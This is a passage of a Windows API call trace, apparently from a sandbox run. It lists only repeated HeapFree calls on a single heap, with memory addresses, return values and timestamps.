(in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0176.089] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0176.091] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0176.091] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0176.092] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0176.092] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0176.092] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0176.250] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0176.746] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.746] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.747] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.747] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.747] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.747] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.747] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.748] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.748] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.748] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.748] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.748] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0176.981] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.983] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.983] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.984] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0176.984] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.984] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0176.986] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.991] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0176.991] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.991] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0176.993] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0176.993] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0176.993] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0176.993] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0176.996] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0176.996] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0176.996] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.008] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0177.009] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0177.010] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0177.010] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0177.010] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.012] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.014] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.016] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0177.016] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.016] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.019] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0177.019] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.019] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.020] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0177.634] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0177.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.637] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0177.639] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.641] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.644] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.646] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.647] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.647] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0177.660] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.660] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.660] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0177.662] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.662] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.662] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0177.663] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.663] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0177.663] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0177.673] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0177.848] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0177.850] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.850] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0177.850] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.850] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.850] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0177.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0177.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0177.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0177.852] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.852] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0177.852] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.852] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0177.852] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.852] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0177.854] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0177.855] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.855] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.856] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.859] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.860] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.860] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0177.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0177.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0177.862] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.862] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0177.863] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0177.863] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0177.865] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0177.865] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0177.865] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0177.872] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0177.872] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0177.887] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0178.298] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0178.299] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0178.299] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0178.299] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0178.300] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0178.300] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0178.300] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0178.301] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0178.301] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0178.303] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0178.303] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0178.307] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0178.307] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0178.307] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0178.307] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0178.309] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0178.317] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0178.318] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0178.323] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0178.324] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0178.324] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0178.324] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0178.325] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0178.335] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0178.335] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0178.709] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0178.780] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0178.785] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0178.790] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0178.794] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0178.801] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0178.806] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0178.810] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0179.061] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0179.065] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0179.070] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0179.074] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0179.078] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0179.081] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0179.085] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0179.088] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0179.091] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0179.095] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0179.098] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0179.346] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0179.348] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0179.351] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0179.353] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0179.356] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0179.358] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0179.360] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0179.363] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0179.727] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.018] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.022] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.026] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.031] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.037] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.041] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.045] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.050] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.054] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.215] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.225] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.233] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.237] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.241] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.245] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.252] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.256] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.356] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.365] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.369] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.374] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.379] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.389] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.394] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.539] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.543] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.548] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.552] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.556] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.561] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.565] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.571] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.575] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.750] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.759] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.775] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.780] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.783] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.788] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.792] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.796] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.800] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.804] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.805] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0180.805] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0180.805] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0180.976] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0180.981] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0180.981] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0180.985] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0180.987] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0180.987] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0180.990] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0180.990] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0180.997] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0180.997] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0181.002] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0181.003] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0181.006] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0181.010] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0181.011] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0181.012] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0181.012] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0181.013] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0181.014] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0181.014] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0181.215] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0181.215] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0181.215] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0181.514] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0181.515] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0181.516] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0181.517] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0181.518] 